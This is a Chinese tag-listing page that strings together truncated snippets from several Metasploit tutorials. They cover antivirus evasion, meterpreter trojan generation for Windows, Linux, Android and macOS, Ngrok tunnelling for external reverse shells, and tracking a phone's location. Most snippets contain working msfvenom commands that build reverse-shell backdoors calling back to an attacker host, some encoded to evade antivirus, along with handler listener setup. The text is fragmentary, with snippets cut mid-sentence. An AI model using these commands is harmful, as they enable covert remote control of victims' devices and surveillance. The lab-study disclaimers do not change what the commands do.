首页 > TAG信息列表 > Lhost
EXP3-免杀原理与实践
基础问题问答 1.1 杀软是如何检测出恶意代码的？ 1.2 免杀是做什么？ 1.3 免杀的基本方法有哪些？ 实践内容 正确使用msf编码器，使用msfvenom生成如jar之类的其他文件 检测直接生成的后门exe文件（实验二中的后门程序） 检出率为54/70 使用Unicode编码 msfvenom -p windows/meterpreter/revemetasploit之基础命令操作
文中主要讲解kali中metasploit的用法，通常我们简称MSF，通过学习了解MSF的各种命令小技巧，从而掌握后渗透技术。本次实验环境靶场来自于暗月(moonsec)师傅，文中内容全由个人理解编制，若有错处，大佬勿喷，个人学艺不精；本文中提到的任何技术都源自于靶场练习，仅供学习参考，请勿利用文章内msf生成简单木马
windows 木马 msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.128 lport=6666 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe>shell.exe 监听 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_httpmetasploit
metasploit 木马生成与监听 msfvenom -p windows/meterpreter/reverse_tcp -lhost=192.168.1.1 lport=4444 -f exe -o /tmp/shell.exe //生成windows下的木马文件 use exploit/multi/handler //所有类型木马监听都用handler模块 set lhost 192.168.1.1. set port 4444 run渗透测试(二)-Metasploit生成免杀后门(外网篇)
1. Sunny-Ngrok 开通隧道 首先在官网注册会员 登陆 选择要开通的服务器 这里我们选择美国Ngrok免费服务器 选择tcp协议，填一个可以使用的端口号。 开通隧道后可以在 隧道管理 中看到自己的隧道信息： 记住这里的 隧道id，赠送域名 以及 隧道端口，下面会用msfvenom生成不同类型shell
Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf Windows msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to C网络安全之KALI渗透手机、获取目标的精确位置
合理学习技术，切勿犯罪 1.先查看本机kali的IP地址，使用命令ifocnfig 2：在终端输入msfvenom -p android/meterpreter/reverse_tcp LHOST=你kali的ip LPORT=5555 R > /root/apk.apk 来生成木马程序 提示这就是成功了！ 然后输入命令：msfconsole来启动监听，启动时间有点长稍微等一内网渗透之socks5代理（reGeorg+proxifier详细配置说明）
1. 首先我们需要明白正向代理和反向代理的区别 1.1 正向代理(Forward Proxy) Python Lhost－－>proxy－－>Rhost Lhost－－>proxy－－>Rhost Lhost为了访问到Rhost，向proxy发送了一个请求并且指定目标是Rhost，然后proxy向Rhost转交请求并将获得的内容返回给Lhost，简单来说正向代理就是proxy代替msfvenom 常用生成 payload 命令
windows: msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b 'x00x0axff' -i 3 -f exe -opayload.exe mac: msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IPmsf下的各种生成payload命令
msf下的各种生成payload命令 List payloads msfvenom -l Binaries: Linux msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf Windows msfvenom -p windows/meterpreter/reverse_tcp LHO